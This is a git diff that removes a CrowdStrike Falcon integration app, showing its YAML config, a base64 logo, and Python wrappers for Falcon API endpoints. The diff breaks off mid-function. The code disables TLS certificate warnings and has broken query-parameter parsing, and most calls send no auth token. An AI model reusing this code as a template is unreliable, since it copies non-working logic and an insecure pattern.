required: true - parameters: - - description: "" - id: "" - name: client_id - example: '******' - value: "" - multiline: false - required: true - in: "" - schema: - type: string - scheme: "" - - description: "" - id: "" - name: client_secret - example: '******' - value: "" - multiline: false - required: true - in: "" - schema: - type: string - scheme: "" - - description: The URL of the app - id: "" - name: url - example: https://api.crowdstrike.com - value: https://api.crowdstrike.com - multiline: false - required: true - in: "" - schema: - type: string - scheme: "" -tags: [] -categories: [] -created: 0 -edited: 0 -lastruntime: 0 -versions: [] -loopversions: [] -owner: b5ee0878-2de4-4182-92af-bf67ec6526f5 -public: false -referenceorg: "" -referenceurl: "" -large_image: data:image/jpeg;base64,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 diff --git a/crowdstrike-falcon/1.0.0/requirements.txt b/crowdstrike-falcon/1.0.0/requirements.txt deleted file mode 100644 index f76ae497..00000000 --- a/crowdstrike-falcon/1.0.0/requirements.txt +++ /dev/null @@ -1 +0,0 @@ -# No extra requirements needed diff --git a/crowdstrike-falcon/1.0.0/src/app.py b/crowdstrike-falcon/1.0.0/src/app.py deleted file mode 100755 index 376d9ff3..00000000 --- a/crowdstrike-falcon/1.0.0/src/app.py +++ /dev/null @@ -1,3749 +0,0 @@ -import requests -import asyncio -import json -import urllib3 - -from walkoff_app_sdk.app_base import AppBase - -class Crowdstrike_Falcon(AppBase): - - __version__ = "1.0" - app_name = "Crowdstrike_Falcon" - - - def __init__(self, redis, logger, console_logger=None): - self.verify = False - urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) - super().__init__(redis, logger, console_logger) - - - def setup_headers(self, headers): - request_headers={} - - if len(headers) > 0: - for header in headers.split("\n"): - if '=' in header: - headersplit=header.split('=') - request_headers[headersplit[0].strip()] = headersplit[1].strip() - elif ':' in header: - headersplit=header.split(':') - request_headers[headersplit[0].strip()] = headersplit[1].strip() - return request_headers - - - def setup_params(self, queries): - params={} - - if len(queries) > 0: - for query in queries.split("\&"): - if '=' in query: - headersplit=query.split('&') - params[headersplit[0].strip()] = headersplit[1].strip() - - return params - - - def generate_oauth2_access_token(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={} - url=f"{url}/oauth2/token" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - body={'client_id': client_id, 'client_secret': client_secret} - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def revoke_oauth2_access_token(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={} - url=f"{url}/oauth2/revoke" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - body={'client_id': client_id, 'client_secret': client_secret} - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def download_analysis_artifacts(self, url, client_id, client_secret, id, headers="", queries="", name=""): - params={} - request_headers={} - url=f"{url}/falconx/entities/artifacts/v1?id={id}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - - if name: - params["name"] = name - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_detect_aggregates(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={"Content-Type": "application/json","Accept": "application/json"} - url=f"{url}/detects/aggregates/detects/GET/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def view_information_about_detections(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={"Content-Type": "application/json","Accept": "application/json"} - url=f"{url}/detects/entities/summaries/GET/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def modify_detections(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={"Content-Type": "application/json","Accept": "application/json"} - url=f"{url}/detects/entities/detects/v2" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.patch(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_sandbox_reports(self, url, client_id, client_secret, headers="", queries="", filter="", offset="", limit="", sort=""): - params={} - request_headers={} - url=f"{url}/falconx/queries/reports/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - - if offset: - params["offset"] = offset - if limit: - params["limit"] = limit - if sort: - params["sort"] = sort - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_rules_by_id(self, url, client_id, client_secret, ids, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/ioarules/entities/rules/v1?ids={ids}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def delete_rules_from_a_rule_group_by_id(self, url, client_id, client_secret, rule_group_id, ids, headers="", queries="", comment=""): - params={} - request_headers={} - url=f"{url}/ioarules/entities/rules/v1?rule_group_id={rule_group_id}&ids={ids}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.delete(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def create_a_rule_within_a_rule_group(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={"Content-Type": "application/json","Accept": "application/json"} - url=f"{url}/ioarules/entities/rules/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def update_rules_within_a_rule_group(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={"Content-Type": "application/json","Accept": "application/json"} - url=f"{url}/ioarules/entities/rules/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.patch(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def search_for_prevention_policy_members(self, url, client_id, client_secret, headers="", queries="", id="", filter="", offset="", limit="", sort=""): - params={} - request_headers={} - url=f"{url}/policy/combined/prevention-members/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if filter: - params["filter"] = filter - if offset: - params["offset"] = offset - if limit: - params["limit"] = limit - if sort: - params["sort"] = sort - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def set_precedence_of_device_control_policies(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={} - url=f"{url}/policy/entities/device-control-precedence/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def retrieve_hidden_hosts(self, url, client_id, client_secret, headers="", queries="", offset="", limit="", sort="", filter=""): - params={} - request_headers={} - url=f"{url}/devices/queries/devices-hidden/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if limit: - params["limit"] = limit - if sort: - params["sort"] = sort - if filter: - params["filter"] = filter - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_rule_types_by_id(self, url, client_id, client_secret, ids, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/ioarules/entities/rule-types/v1?ids={ids}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_all_platform_ids(self, url, client_id, client_secret, headers="", queries="", offset="", limit=""): - params={} - request_headers={} - url=f"{url}/ioarules/queries/platforms/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if limit: - params["limit"] = limit - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_combined_for_indicators(self, url, client_id, client_secret, headers="", queries="", filter="", offset="", limit="", sort=""): - params={} - request_headers={} - url=f"{url}/iocs/combined/indicator/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if offset: - params["offset"] = offset - if limit: - params["limit"] = limit - if sort: - params["sort"] = sort - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def set_precedence_of_response_policies(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={} - url=f"{url}/policy/entities/response-precedence/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_a_set_of_sensor_visibility_exclusions(self, url, client_id, client_secret, ids, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/policy/entities/sv-exclusions/v1?ids={ids}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def delete_the_sensor_visibility_exclusions_by_id(self, url, client_id, client_secret, ids, headers="", queries="", comment=""): - params={} - request_headers={} - url=f"{url}/policy/entities/sv-exclusions/v1?ids={ids}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.delete(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def create_the_sensor_visibility_exclusions(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={} - url=f"{url}/policy/entities/sv-exclusions/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def update_the_sensor_visibility_exclusions(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={} - url=f"{url}/policy/entities/sv-exclusions/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.patch(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def search_for_prevention_policy_ids(self, url, client_id, client_secret, headers="", queries="", filter="", offset="", limit="", sort=""): - params={} - request_headers={} - url=f"{url}/policy/queries/prevention/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if offset: - params["offset"] = offset - if limit: - params["limit"] = limit - if sort: - params["sort"] = sort - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_notifications_based_on_their_ids(self, url, client_id, client_secret, ids, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/recon/entities/notifications/v1?ids={ids}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def delete_notifications_based_on_ids_notifications(self, url, client_id, client_secret, ids, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/recon/entities/notifications/v1?ids={ids}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.delete(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def update_notification_status_or_assignee(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={"Content-Type": "application/json","Accept": "application/json"} - url=f"{url}/recon/entities/notifications/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.patch(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_sensor_installer_ids_by_provided_query(self, url, client_id, client_secret, headers="", queries="", offset="", limit="", sort="", filter=""): - params={} - request_headers={} - url=f"{url}/sensors/queries/installers/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if limit: - params["limit"] = limit - if sort: - params["sort"] = sort - if filter: - params["filter"] = filter - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_info_about_indicators(self, url, client_id, client_secret, headers="", queries="", offset="", limit="", sort="", filter="", q="", include_deleted=""): - params={} - request_headers={} - url=f"{url}/intel/combined/indicators/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if limit: - params["limit"] = limit - if sort: - params["sort"] = sort - if filter: - params["filter"] = filter - if q: - params["q"] = q - if include_deleted: - params["include_deleted"] = include_deleted - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def download_earlier_rule_sets(self, url, client_id, client_secret, id, headers="", queries="", format=""): - params={} - request_headers={"Accept": "undefined"} - url=f"{url}/intel/entities/rules-files/v1?id={id}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_report_ids(self, url, client_id, client_secret, headers="", queries="", offset="", limit="", sort="", filter="", q=""): - params={} - request_headers={} - url=f"{url}/intel/queries/reports/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if limit: - params["limit"] = limit - if sort: - params["sort"] = sort - if filter: - params["filter"] = filter - if q: - params["q"] = q - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def search_for_rule_ids(self, url, client_id, client_secret, type, headers="", queries="", offset="", limit="", sort="", name="", description="", tags="", min_created_date="", max_created_date="", q=""): - params={} - request_headers={} - url=f"{url}/intel/queries/rules/v1?type={type}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if limit: - params["limit"] = limit - if sort: - params["sort"] = sort - if name: - params["name"] = name - if description: - params["description"] = description - if tags: - params["tags"] = tags - if min_created_date: - params["min_created_date"] = min_created_date - if max_created_date: - params["max_created_date"] = max_created_date - if q: - params["q"] = q - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def search_for_sensor_update_policies(self, url, client_id, client_secret, headers="", queries="", filter="", offset="", limit="", sort=""): - params={} - request_headers={} - url=f"{url}/policy/combined/sensor-update/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if offset: - params["offset"] = offset - if limit: - params["limit"] = limit - if sort: - params["sort"] = sort - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_a_set_of_ioa_exclusions(self, url, client_id, client_secret, ids, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/policy/entities/ioa-exclusions/v1?ids={ids}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def delete_the_ioa_exclusions_by_id(self, url, client_id, client_secret, ids, headers="", queries="", comment=""): - params={} - request_headers={} - url=f"{url}/policy/entities/ioa-exclusions/v1?ids={ids}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.delete(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def create_the_ioa_exclusions(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={} - url=f"{url}/policy/entities/ioa-exclusions/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def update_the_ioa_exclusions(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={} - url=f"{url}/policy/entities/ioa-exclusions/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.patch(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def search_for_sensor_update_policy_member_ids(self, url, client_id, client_secret, headers="", queries="", id="", filter="", offset="", limit="", sort=""): - params={} - request_headers={} - url=f"{url}/policy/queries/sensor-update-members/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if filter: - params["filter"] = filter - if offset: - params["offset"] = offset - if limit: - params["limit"] = limit - if sort: - params["sort"] = sort - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def search_for_sensor_visibility_exclusions(self, url, client_id, client_secret, headers="", queries="", filter="", offset="", limit="", sort=""): - params={} - request_headers={} - url=f"{url}/policy/queries/sv-exclusions/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if offset: - params["offset"] = offset - if limit: - params["limit"] = limit - if sort: - params["sort"] = sort - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def find_ids_for_submitted_scans(self, url, client_id, client_secret, headers="", queries="", filter="", offset="", limit="", sort=""): - params={} - request_headers={} - url=f"{url}/scanner/queries/scans/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if offset: - params["offset"] = offset - if limit: - params["limit"] = limit - if sort: - params["sort"] = sort - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_sensor_installer_details_by_provided_query(self, url, client_id, client_secret, headers="", queries="", offset="", limit="", sort="", filter=""): - params={} - request_headers={} - url=f"{url}/sensors/combined/installers/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if limit: - params["limit"] = limit - if sort: - params["sort"] = sort - if filter: - params["filter"] = filter - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def search_for_hosts(self, url, client_id, client_secret, headers="", queries="", offset="", limit="", sort="", filter=""): - params={} - request_headers={} - url=f"{url}/devices/queries/devices-scroll/v1" - - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - - if offset: - params["offset"] = offset - if limit: - params["limit"] = limit - if sort: - params["sort"] = sort - if filter: - params["filter"] = filter - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_info_about_reports(self, url, client_id, client_secret, headers="", queries="", offset="", limit="", sort="", filter="", q="", fields=""): - params={} - request_headers={} - url=f"{url}/intel/combined/reports/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if limit: - params["limit"] = limit - if sort: - params["sort"] = sort - if filter: - params["filter"] = filter - if q: - params["q"] = q - if fields: - params["fields"] = fields - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_a_zipped_sample(self, url, client_id, client_secret, ids, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/malquery/entities/samples-fetch/v1?ids={ids}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def schedule_samples_for_download(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={"Content-Type": "application/json","Accept": "application/json"} - url=f"{url}/malquery/entities/samples-multidownload/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def perform_action_on_the_sensor_update_policies(self, url, client_id, client_secret, action_name, headers="", queries="", body=""): - params={} - request_headers={} - 